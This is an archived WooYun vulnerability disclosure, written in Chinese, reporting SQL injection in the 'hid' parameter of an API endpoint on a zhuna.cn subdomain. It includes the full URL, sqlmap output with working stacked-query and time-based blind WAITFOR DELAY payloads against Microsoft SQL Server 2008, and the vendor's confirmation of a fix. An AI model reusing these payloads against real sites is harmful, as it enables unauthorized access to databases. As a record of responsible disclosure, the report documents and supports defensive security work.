乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-17: 细节已通知厂商并且等待厂商处理中 2015-03-17: 厂商已经确认,细节仅向厂商公开 2015-03-27: 细节向核心白帽子及相关领域专家公开 2015-04-06: 细节向普通白帽子公开 2015-04-16: 细节向实习白帽子公开 2015-05-01: 细节向公众公开
住哪网某分站sql注入
存在注入的地址:
http://www.api.zhuna.cn/e/b.php?agent_id=4159415&agent_md=4ce1f950fbc331f9&uid=0&hid=23078&rid=613489&pid=108191&tm1=2014-09-25&tm2=2014-09-26&style=970,aacbee,e0f5fc,295574&webpath=www.qufou.com#e5e3378c-05da-737f-4649-0aa20fdf4d59
其中hid参数存在注入
sqlmap identified the following injection points with a total of 60 HTTP(s) requests:---Place: GETParameter: hid Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: agent_id=4159415&agent_md=4ce1f950fbc331f9&uid=0&hid=23078; WAITFOR DELAY '0:0:5'--&rid=613489&pid=108191&tm1=2014-09-25&tm2=2014-09-26&style=970,aacbee,e0f5fc,295574&webpath=www.qufou.com Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: agent_id=4159415&agent_md=4ce1f950fbc331f9&uid=0&hid=23078 WAITFOR DELAY '0:0:5'--&rid=613489&pid=108191&tm1=2014-09-25&tm2=2014-09-26&style=970,aacbee,e0f5fc,295574&webpath=www.qufou.com---[22:19:55] [INFO] testing Microsoft SQL Server[22:19:55] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors [22:20:01] [INFO] confirming Microsoft SQL Server[22:20:18] [INFO] the back-end DBMS is Microsoft SQL Serverback-end DBMS: Microsoft SQL Server 2008[22:20:18] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.api.zhuna.cn'
过滤
危害等级:高
漏洞Rank:20
确认时间:2015-03-17 11:25
非常感谢您反馈的信息,相关问题已由技术处理。
暂无